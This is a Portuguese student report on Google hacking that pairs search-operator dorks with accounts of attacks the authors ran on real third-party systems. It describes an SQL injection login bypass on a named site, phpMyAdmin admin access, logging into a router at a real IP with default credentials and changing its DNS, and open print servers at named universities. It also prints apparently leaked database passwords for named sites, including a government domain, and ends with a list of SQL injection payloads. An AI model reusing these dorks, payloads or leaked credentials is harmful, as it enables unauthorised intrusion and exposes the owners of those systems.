Google hacking é a técnica de utilizar a busca do google através de operadores para hackear, buscar em aplicações web, sites, blogs, entre outras falhas de segurança, vulnerabilidades, inclusive para ferramental do próprio google.
Google Hacking - Técnicas de Busca Avançadas no Google
1. GOOGLE HACKING
PROFESSOR: Cássio Ramos
EMAIL: cassioaramos@gmail.com
ALUNOS:
Nome Matrícula
Rafael Borba 201210018561
Sergio Machado 201204031568
Anthony Mendes Rodrigues 201210067633
Jorge Eduardo Lemos Franco dos Santos 201210047161
Julio Cesar Marques Sathler 201210018497
1
2. Sumário
O que é google hacking …..............................................................................................03
Como Se Proteger ….......................................................................................................03
Como Produzir um ataque ..............................................................................................04
Operadores ......................................................................................................................04
Ataque 1 – (SQL Injection) ............................................................................................06
Ataque 2 – (Phpmyadmin) ..............................................................................................08
Ataque 3 - (Acessando Roteador) ...................................................................................11
Ataque 4 - (Tipos de arquivos) .......................................................................................14
Ataque 5 - (Servidor de impressão) ................................................................................17
Tags para SQL Injection .................................................................................................20
Tags conhecidas para câmeras ........................................................................................21
Links Referenciais
https://www.google.com.br/analytics/
http://segurancaiesb.blogspot.com.br/2012/11/foruns-hackers-tornaram-se-
verdadeiras.html
http://corporate.canaltech.com.br/coluna/mobile/Dispositivos-moveis-a-interface-com-
o-mundo/
http://www.cert.br/stats/incidentes/2013-jan-dec/tipos-ataque-acumulado.html
http://segurancaiesb.blogspot.com.br/2012_11_01_archive.html
http://www.robotstxt.org
http://gazetaweb.globo.com/gazetadealagoas/acervo.php?c=83227
https://www.owasp.org/index.php/Main_Page
http://www.hackersforcharity.org/ghdb/
2
3. O que é?
Google hacking é a técnica de utilizar a busca do google através de operadores
para hackear, buscar em aplicações web, sites, blogs, entre outras falhas de segurança,
vulnerabilidades, inclusive para ferramental do próprio google.
Por ser o maior e mais usado sistema de busca do mundo, o google, é capaz de
orientar e fornecer excelentes informações as pessoas cuja essas descobertas possam
interessar, em voga sempre será os hackers e crackers, figuras que ilustram dois grupos
distintos de especialistas em técnicas de ataque, com filosofias diferentes traçam uma
eterna guerra no mundo virtual.
Como detentores de informação, a primícias para busca usa-se o google dorks,
que se trata de um conjunto de operadores de pesquisa, funcionam como filtros de
expressões regulares, o que aumenta consideravelmente as possibilidades de busca em
sistemas.
Diante da técnica certa ao atacante, é possível chegar a resultados muito bons,
desde a extrair diversas informações como os detalhes de configuração de banco de
dados, nome de usuário, senhas, listas de diretório, mensagens de erro, lista de emails,
arquivos de backup, etc.
Um dos principais motivos de ocorrer esta exposição de dados é a falta de uma
política de segurança relacionada aos servidores e dados que serão expostos na internet
e falta de conhecimento por parte dos administradores.
Como Se Proteger
Como uma técnica aprimorada existe também a forma de se defender,
normalmente não é levada em consideração a melhor prática para um servidor seguro, e
quando expostos na web ficam ainda mais suscetíveis a ataques, de fato a análise de
relevância da informação a ser disponibilizada devera ser criterioso e utilizar uma boa
estratégia para mantê-las com acesso restrito.
Um dos erros mais comuns e que colocam em risco os servidores é a listagem de
diretórios, o que da ao usuário mal intencionado a capacidade de visualizar a maioria
dos arquivos armazenados. Inclusive algumas vezes, se existir o arquivo htaccess que
normalmente é utilizado para proteger o conteúdo de um diretório de acessos não
autorizados, mas um erro de configuração pode permitir que o arquivo seja listado e
lido.
3
4. Quando se pensa em servidores na web, e no compartilhamento de informação
existe a necessidade em permitir o acesso, porém, essas informações podem ser
indexadas pelos crawlers dos buscadores, uma maneira simples de resolver é que os
administradores criem um arquivo chamado robots.txt, que especifica determinados
locais, no qual esses engines de busca não devam explorar e armazenar em cache para
determinado site ou diretório.
Um exemplo simples, para proteger o diretório de fotos usará a seguinte
configuração no arquivo descrito acima (robots.txt).
User-agent:
Disallow: /fotos
Existem muitas maneiras de se bloquear acessos às paginas individuais inclusive
que sejam indexadas pelos mecanismos de busca, essas meta tags. Orientações de como
fazer estão mais bem descritas no site http://www.robotstxt.org.
Como Produzir um ataque
Um ataque bem conhecido também pela comunidade é o de SQL Injection, que
inicialmente utiliza o google hacking para procurar suas presas, ou melhor, vitimas que
podem ter sido displicentes em seus sites e não utilizando o artifício do arquivo
robots.txt, ou utilizando erroneamente. E não fazendo os tratamentos adequados das
variáveis, resulta no ataque bem sucedido.
Operadores
Os Operadores são utilizados diretamente na busca do google e existe um mundo
de opções que combinadas de forma correta, podem produzir grandes resultados.
Não há nenhum espaço entre o operador, os dois pontos, e o termo de pesquisa.
Operador:termo_procurado
4
5. Operador Propósito Mixa com
outros
operadores?
Pode ser
usado
sozinho
Trabalha na pesquisa em algumas áreas do google:
Web Imagens Grupos News
Intitle Procurar título
página
Sim sim sim sim sim sim
Allintitle Procurar título
página
Não sim sim sim sim sim
Inurl Procurar URL Sim sim sim sim não realmente como
intitle
Allinurl Procurar URL não sim sim sim sim como
intitle
Filetype Procurar
arquivos
específicos
sim não sim sim não não realmente
Allintext Procurar
apenas texto
da pagina
não realmente sim sim sim sim sim
Site Procurar site
específico
sim sim sim sim não não realmente
Link Procurar links
para paginas
não sim sim não não não realmente
Inanchor Procurar link
texto âncora
sim sim sim sim não realmente sim
Numrange Localizar
numero
sim sim sim não não não realmente
Daterange Localiza
intervalo datas
sim não sim não realmente não realmente não realmente
Author Localizar
autor grupo
sim sim não não sim não realmente
Group Localizar
nome grupo
não realmente sim não não sim não realmente
Insubject Localizar
assunto grupo
sim sim como
intitle
como
intitle
sim como
intitle
Msgid Localizar
msgid grupo
não sim não realmente não realmente sim não realmente
Ataque 1 - SQL Injection
5
6. Em um teste realizado recentemente para fins de estudo para o curso de
segurança de redes na Estácio de Sá, utilizamos como consulta no google: “curriculum
+ cpf”, tivemos como resultado o seguinte conforme imagem 1.
Imagem 1 - google hacking – ataque 1 – Tela de consulta curriculum + cpf.
Esta consulta retornou diversos endereços com arquivos de Curriculum Vitae.
Para o exemplo utilizamos o endereço
http://www.abqtic.com.br/upload/curriculum/pdf/120.pdf, que possuía o Curriculum de
pessoa física com os dados do mesmo. Dessa forma, acessamos a home do site,
http://www.abqtic.com.br/index.
Imagem 2 - google hacking – ataque 1 – Home do site alvo.
6
7. Para um ataque bem sucedido utilizando usuário e senha, visualize a lista de tags
no final do documento. Fizemos um ataque SQL INJECTION básico para testarmos a
vulnerabilidade, usamos o clássico 'or'1'='1 no login/senha.
Imagem 3 - google hacking – ataque 1 – Injeção da tag sql.
Após colocar a tag no usuário e senha, logo pegara o primeiro login da consulta
SQL e retornara como logado. Conforme tela abaixo.
7
8. Imagem 4 - google hacking – ataque 1 - sql injection
Tivemos acesso à conta do usuário, apesar de o site não possuir informações
relevantes, podemos vê que este é um site com falha de SQL INJECTION. Podemos
testar outros comandos SQL INJECTION para vê como se comporta.
Por isso, é fundamental seguir práticas seguras no desenvolvimento de uma
aplicação web, implementar revisões de códigos e realizar a aplicação de configurações
seguras nos servidores.
Para o desenvolvimento de aplicações web, recomendamos uma consulta no
projeto OWASP (Open Source Web Application Security Project), que possuí diversas
dicas e práticas seguras de desenvolvimento.
Ataque 2 - PhpMyAdmin
Muito utilizado pela galera que administra banco de dados mysql que atualmente
e fornecido pela Oracle, ela tem um visual de fácil utilização e dispensa treinamento
para sua utilização, porém, acaba por abrir uma brecha enorme em servidores mal
configurados. Esse tipo de ataque usando o google para phpmyadmin, usa parte da
técnica anterior, mas existem algumas tags, que são recomendadas e conseguem um
resultado melhor no ataque, observe que obtivemos os acessos de uma conta com
privilégios administrativos.
Nesta consulta no google, obtivemos êxito mais rápido:
inurl:.php? intext:"CHARACTER_SETS,COLLATIONS" intitle:phpmyadmin
intext:"Field_name"
Lista de mega tags para ataque ao phpmyadmin
1) - inurl:.php? intext:"CHARACTER_SETS,COLLATIONS" intitle:phpmyadmin
intext:"Field_name"
2) - ext:php intext:"SQL-query" intitle:phpmyadmin & intext:"Show this query here again
"
3) intitle:phpmyadmin intext:" [Edit] [Explain SQL]"
4) ext:php intext:"SQL-query" intext:"Without PHP Code" & intitle:("phpMyAdmin 2*)
5) inurl:.php? intext:"information_schema" intitle:phpmyadmin intext:"Field_name"
8
10. Imagem 7 - google hacking – ataque 2 - PhpMyAdmin
Ataque 3 – Acessando Roteador
O ataque de acesso a roteadores consiste em acessar e gerenciar remotamente
determinados tipos de modems/roteadores que possuem esta funcionalidade. Quando
não configurado adequadamente ou mantendo os padrões de fábrica, torna-se possível
explorar o equipamento e realizar diversas configurações como desconectar usuários,
rebootar o aparelho ou até mesmo alterar o serviço de DNS, fazendo com que o usuário
possa ser redirecionado para sites de conteúdo duvidável (ataque de Pharming).
Neste exemplo utilizamos no google a consulta: intitle:"Your Network Device"
Status (LAN | WAN), retornando links que podem vir a serem possíveis vítimas.
Equipamento alvo: ADSL Router Xavi X3402A
10
11. Imagem 8 - google hacking – ataque 3 - Tela de retorno da consulta.
Após clicar sobre um dos links aparecerá uma tela como esta:
11
12. Imagem 9 - google hacking – ataque 3 - Tela de status do roteador.
Feito isso, basta acessar qualquer link ou alterar a url de (ex.:)
http://190.139.102.169/status.html para http://190.139.102.169. Após isso será
solicitado o nome de usuário e senha do equipamento.
12
13. Imagem 10 - google hacking – ataque 3 - Tela de login do equipamento
Com isso, basta realizar um ataque de força bruta para acessar o roteador. Deve-
se levar em consideração que o usuário/senha de roteadores na maioria das vezes
quando configurados por padrão são admin/admin, admin/(sem senha) ou root/root. No
exemplo acima se logrou êxito com a combinação admin/admin. Deste modo temos o
total controle do roteador.
Imagem 11 - google hacking – ataque 3 - Reiniciar roteador.
13
14. Imagem 12 - google hacking – ataque 3 - Alterando manualmente o servidor DNS
(ataque de envenenamento de DNS).
Ataque 4 - Tipos de Arquivos
Parece inocente, mas para alguém pesquisar um tipo de arquivo como um txt ou
mesmo pdf, que aparentemente não traria nenhuma informação relevante, se engana,
pois existem informações importantes. Diversos outros tipos de arquivos podem ser
pesquisados, como arquivos de configuração e que podem revelar muitas informações
ao atacante, inclusive nome de usuário e senha do banco.
Um tipo curioso de arquivo é o de log do servidor, mesmo que o servidor esteja
bem protegido e tenha algo como o log publico, o atacante pode utilizar o
comportamento do servidor para criar um ataque mais eficiente, exemplo:
Mega tag allinurl:install/install.php
A seguir buscas com o resultado do conteúdo dos arquivos
14
15. http://www.ilu.com.tw/db_connect.inc
//database login name
define('DB_USER', "root");
//database login password
define('DB_PASS', "ntuee");
//database login name
define('DB_USER', "hoteltai");
//database login password
define('DB_PASS', "123qwe!Q");
http://mars.deltos.com/drupal/includes/database.mysql.inc
Check if MySQL support is present in PHP
if (!function_exists('mysql_connect')) {
// Redirect to installer if using default DB credentials
if ($url['user'] == 'username' && $url['pass'] == 'password') {
include_once 'includes/install.inc';
install_goto('install.php');
http://admin.xprovider.com/php/db/db1.inc
function my_connect_isp($db_host= "mysql1204.opentransfer.com:3306",
$db_username=
"websweb_window",$db_password="StephenLiao1")
{ $link=@mysql_connect($db_host,$db_username,$db_password) or
die( "Unable to connect to SQL server"); }
http://www.concretostranslucidos.com/lib/MySQL.inc
<?php
function conect()
{
$host = "66.116.150.171";
$user = "distrib_concreto";
$password = "ConCre12";
$base = "distrib_concretos";
$connection = mysql_connect($host, $user, $password);
mysql_select_db($base, $connection);
mysql_query("SET NAMES 'iso-8859-1'");
return $connection;
http://www.strafford.co.uk/global/scripts/DBConnectioner.inc
function DBConnectioner($database, $CID) {
$this->ConnHost = "localhost";
$this->ConnUser = "straffor_gravety";
$this->ConnPass = "acenturi";
$this->CID = $CID;
15
16. $this->ConnDB = $database; //Service Database
'service_contact_link';
$this->Service = substr($database, strrpos($database, "_") +
1);
$this->settingsPath = "../clients/" . $this->CID . "/" .
ucfirst($this->Service) . "/"
http://pinhal.sp.gov.br/site_antigo/script/mysql_conect.inc
<?php
$port = 3306;
$usuario = "pinhalsp_pinhal";
$senha = "$0+*%3A~Ig?6";
$db = "pinhalsp_antigo";
if (!($id = mysql_connect("pinhal.sp.gov.br",$usuario,$senha))) {
echo "<p><center><font face="verdana" size="2"><b>Nao foi
possivel estabelecer ";
echo "uma conexao com o gerenciador Mysql. Favor Conectar o
Administrador</b></font></center>";
exit;
}
if (!($con=mysql_select_db($db,$id))) {
echo "<p><center><font face="verdana" size="2"><b>Nao foi
possivel estabelecer ";
echo "uma conexao com a base de dados do gerenciador Mysql. Favor
Conectar o Administrador</b></font></center>";
exit;
}
?>
http://www.marketing-ideas.org/include/header.inc
session_start();
$db_user = "calvin69_gkapur";
$db_password = "12345";
if (!isset($user_to_add_un))
$user_to_add_un = $HTTP_COOKIE_VARS['user_to_add_un'];
if (!isset($user_to_add_pw))
$user_to_add_pw = $HTTP_COOKIE_VARS['user_to_add_pw'];
if (@mysql_connect('localhost:3306', $db_user, $db_password) and
@mysql_select_db("calvin69_affiliates")) {
http://imgdinamica.ourproject.org/tss2_rc2/server.log
27-05-08 15:54:24,WARNING,Info,SERVER,Default VirtualServer created
27-05-08 15:54:24,WARNING,Info,SERVER,admin account info: username:
admin password: pantrl
27-05-08 15:54:24,WARNING,Info,SERVER,superadmin account info:
username: superadmin password: 9uj8aa
27-05-08 15:54:27,ALL,Info,server, Server init finished
16
17. Ataque 5 – Servidor de Impressão
Utilizamos a seguinte consulta no google: intitle:"Network Print Server"
filetype:shtm (consulte a tabela Operador para vê a sintaxe), nos retornou links para
servidores de impressão ativos, alguns com acesso de root e outros configurados com
senha.
Consultamos os seguintes links que estavam ativos:
Configurado como Admin.
Site: https://informatica2.fisio.cinvestav.mx/a_server.shtm
Imagem 13 - google hacking – ataque 5 - Servidor de impressão
Site: http://hcptr.ugr.es/a_server.shtm
17
18. Imagem 14 – google hacking – ataque 5 – Servidor de Impressão
Configurado como Usuário sem acesso root.
Site: http://p-a160-1-31.lbcm.ucl.ac.be/u_printjobs.shtm
Imagem 14 – google hacking – ataque 5 – Servidor de Impressão
Site: http://cpsv-ax1.upc.es/u_server.shtm
18
19. Imagem 15 – google hacking – ataque 5 – Servidor de Impressão
19
20. Tags para SQL injection
Pode ser usado:
Login: opção abaixo
Senha: opção abaixo
ou
Login: admin
Senha: opção abaixo
ou
Login: admin’ or usuario like ‘%a%
Senha: opção abaixo
'or'1'='1
'or'x'='x
'or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
'or' '=0
20